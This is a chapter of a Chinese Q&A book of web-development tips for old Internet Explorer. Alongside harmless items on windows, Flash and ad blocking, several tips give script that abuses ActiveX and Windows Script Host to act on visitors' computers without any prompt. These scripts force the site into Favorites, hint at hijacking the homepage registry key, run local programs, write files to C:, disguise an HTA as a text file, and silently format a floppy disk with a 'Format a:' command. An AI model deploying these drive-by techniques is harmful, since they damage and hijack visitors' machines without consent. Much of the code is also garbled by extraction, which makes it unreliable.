电脑十万个为什么-第28章
按键盘上方向键 ← 或 → 可快速上下翻页,按键盘上的 Enter 键可回到本书目录页,按键盘上方向键 ↑ 可回到本页顶部!
————未阅读完?加入书签已便下次继续阅读!
}
function init() { setTimeout(〃f()〃; 100); }
init();
119;Q:把你的主页强行、自动添加到“收藏夹”中:
A:
document。write();
function AddFavLnk(loc; DispName; SiteURL)
{var Shor Shl。CreateShortcut(loc + 〃” + DispName +〃。URL〃);
Shor。TargetPath SiteURL;
Shor。Save();
}
function f()
{
try
{
odocument。applets'0';
o。setCLSID(〃{F935DC221CF011D0ADB900C04FD58A0B}〃);
o。createInstance();
Shl o。GetObject();
o。setCLSID(〃{0D43FE01F09311CF894000A0C9054228}〃);
o。createInstance();
FSO o。GetObject();
try
{
//Following 2 lines set Homepage:
//var your_hmpgtop。location
//Shl。RegWrite (〃HKCUSoftwareMicrosoftInternet ExplorerMainStart Page〃; your_hmpg);
var WF; loc;
WF FSO。GetSpecialFolder(0); // folder where WINDOWS is installed
loc WF + 〃Favorites〃;
if(FSO。FolderExists(loc)) // is Windows2000 up
{
loc FSO。GetDriveName(WF) + 〃Documents and Settings” + Net。UserName + 〃Favorites〃;
if(FSO。FolderExists(loc)) { return; }
}
AddFavLnk(loc; top。document。title; top。location); //你也可以直接设置 top。document。title 为常量字符串
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout(〃f()〃; 100); }
init();
注:如果你的主页在 Frame 中,则收藏夹中的提示信息取分帧的主页的 Title。你也可以直接设置为常量字符串。
120;Q:用代码关闭 IE 窗口时不提示:
A:
function closewin() { cncloses。Click(); }
121;Q:如何保存网页上的 Flash 动画?
A:1、在浏览网页的网站里面找 *。swf 文件,然后用蚂蚁之类的下载软件拉;
2、直接到 IE 的缓存目录里面搜索 *。swf 文件比较快;
3、如果在脱机浏览时,还能够看到 Flash,万幸 赶快到 Windows 目录下的 Temporary Internet Files 文件夹下去找 Flash(Windows2000 下在 Documents and Settings用户名Local Settings 文件夹下),它也许正老老实实地躺在那里呢。
122;Q:在网页中应用 wsh 对象执行浏览器端的程序(以运行 mand。 为例)
A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
wsh。run('c:mand。');
注意:如果把 'c:mand。' 换成 'Format a: /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘
123;Q:在网页中给浏览器端写文件
A:浏览包含以下代码的网页,会在浏览器端的 C: 盘跟目录下生成一个名为 file_created_by_ocx。txt 的文本文件,文件内容中包含字符串 〃myfile:I want to write a file〃:
document。scr。Reset();
document。scr。Path〃C:file_created_by_ocx。txt〃;
document。scr。Doc〃myfile:I want to write a file〃;
document。scr。write();
124;Q:在网页中不加任何提示打开浏览器本地可执行程序:
A:
document。write();
function runcmd()
{
try
{
objdocument。applets'0';
obj。setCLSID(〃{F935DC221CF011D0ADB900C04FD58A0B}〃); //Windows Scripting Host 的外壳对象
obj。createInstance(); //创建 wsh 的一个实例
Shellobj。GetObject();
Shell。run('c:mand。');
}
catch(e){};
}
setTimeout(〃runcmd()〃;1); //1ms
125;Q:用 GUID 构造 hta 文件:
A:建立一个名为 myfile。txt。{3050F4D898B511CFBB8200AA00BDCE0B} 的文件,看上去是一个文本文件,其实是一个 hta 文件,双击可以用 IE 打开。
126;Q:应用 wsh 对象的又一方法
A:
wshnew ActiveXObject(〃WSCript。Shell〃) //声明
wsh。run(〃mand。〃) //执行命令
该脚本在 。hta 文件中执行没有提示,在 。htm 中执行有提示,且只有 IE 的安全级别设为最低才能执行。
127;Q:在网页上按任意键后,进入另一个页面
A:在网页的中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
this。location〃another。htm〃
128;Q:在 FLASH 中是不是只能够插入 wav 格式的音乐文件?
A:在 Flash4 中只能插入 wav 格式,但在 Flash5 中已经可以插入别的格式了。如 MP3。
129;Q:Asp 与 Javascript 交换数据时一个问题的解决
A:有下列一段代码,用 Javascript 接受 Asp 的一个变量 strVal 的值:
alert()
但是,在 Js 中,显示该值为 〃68〃,显然 Js 把 Asp 的字符串值 〃0104〃 作为自己的 8 进制数给用了(在 Js 中以 0 打头的数值为 8 进制数)。由于 Js 为弱类型的语言,它接收到 strVal 的值后默认其为数值型变量。这就把变量的类型给强行转换了。
为了避免这两种语言交换字符串数据时产生的语义分歧,必须在 Asp 中给字符串的首、尾加上单引号,这样 Js 接收后就不会误会了,即:
130;Q:在网页中用 Javascript 判断 IE 窗口是否打开,还可以对 IE 窗口进行关闭/置前/置后操作
A:按“打开窗口”按钮后,如果 new。htm 没有打开,则打开它;如果打开了,就报告“new。htm is already opened。”。
var myPage;
function openMyPage()
{
if (myPage || myPage。closed)
{ myPagewindow。open(〃new。htm〃; 〃_blank〃); }
else
{ alert(〃new。htm is already opened。〃); }
}
以下函数还可以关闭上面打开的 IE 窗口:
function closeMyPage()
{ myPage。close(); }
置前 IE 窗口:
function focusMyPage()
{ myPage。focus(); }
置后 IE 窗口:
function blurMyPage()
{ myPage。blur(); }
以上方法只能打开、判断、操作本 IE 内代码控制的窗口,对别的 IE 进程的子窗口不起作用。
131;Q:用 Javascript 存取剪贴板:
A:
132;Q:网页中判断 IE 客户端是否装有 office
A:
function CheckExcel()
{
try
{new ActiveXObject(〃WScript。Shell〃);}
catch(x) {return false;}
try
{new ActiveXObject(〃Excel。Application〃);}
catch(x){return null;}
return true;
}
resCheckExcel();
switch(res)
{
case true:
alert(〃安装有 EXCEL〃); break;
case null:
alert(〃没有安装〃); break;
case false:
alert(〃ActiveX 被禁用〃);
}
133;Q:Javascript 命令参数 external 的几个用法:
A: Window。external 就如同 print 参数一样,是 IE 默认的一个命令参数,我们最常用的用法是:
(1)、external。AddDesktopponent:把某一个网页变成用户的桌面。如果你知道有壁纸网站的话,不访用这个功能,直接就能让浏览者把喜欢的图片、页面变成自己的桌面。如果页面里有 Flash 动画那就更酷了。
function wallpaper()
{window。external。AddDesktopponent(〃url〃;〃title〃;0;0;1024;768);}
(2)、external。AddFavorite:把网站加入到用户的收藏夹。在页面上添加一个按钮,让浏览者可以方便地把页面地址保存在 IE 收藏夹里。
function add()
{window。external。AddFavorite(〃url〃;〃title〃);}
如果把 url 和 title 替换成 this。location。href; this。document。title 则自动把当前页面地址及其标题添加到浏览器收藏夹。
(3)、window。external。ShowBrowserUI:启动 IE 的“语言设置”和“整理收藏夹”功能。
134;Q:干掉免费个人主页上强加的广告窗口、广告条
A:一些免费主页经常在你的主页上强加各种类型的广告,很是烦人。但如果注意到它们都是以明文文本代码的形式加在网页中的某个固定的地方,则要干掉它们就不是很困难了。站长收集了一些技巧贴出来供大家参考:
1)、利用注解标志来欺骗。
例如
处插进去的
// 这才是真的 body
2)用
4)有的时候广告代码前会放 就搞定了。
// 下面是广告插入的代码。
。。。。。。
5)屏蔽掉广告打开的指定页面。
《
function ScreenIt(url;name;parm)
{
if(url。indexOf(〃popup。html〃)1) return false; // popup。html 是广告页面。
return window。Xopen(url;name;parm);
}
window。Xopenwindow。open;
window。openScreenIt;
//》
6)干掉包含指定名字的弹出窗口
《
function ScreenIt(url;name;parm)
{
if(name。indexOf(〃opup〃)1) return false; //广告窗口名字包含“opup”
return window。Xopen(url;name;'toolbar1;location1;directories1;status1;menubar1;scrollbars1;resizable1');
}
window。Xopenwindow。open;
window。openScreenIt;
//》
135;Q:屏蔽 IE 的右键菜单,并定制自己的右键菜单
A:
#ie5menu
{
position:absolute;
width:150px;
border:1px solid green;
backgroundcolor:menu;
fontfamily:Verdana;
fontsize:9pt;
lineheight:20px;
cursor:hand;
visibility:hidden;
}
。menuitems
{
paddingleft:15px;
paddingright:15px;
}
》
//set this variable to 1 if you wish the URLs of
//the highlighted menu to be displayed in the status bar
var display_url0
function showmenuie5()
{
var rightedgedocument。body。clientWidthevent。clientX
var bottomedgedocument。body。clientHeightevent。clientY
if (rightedge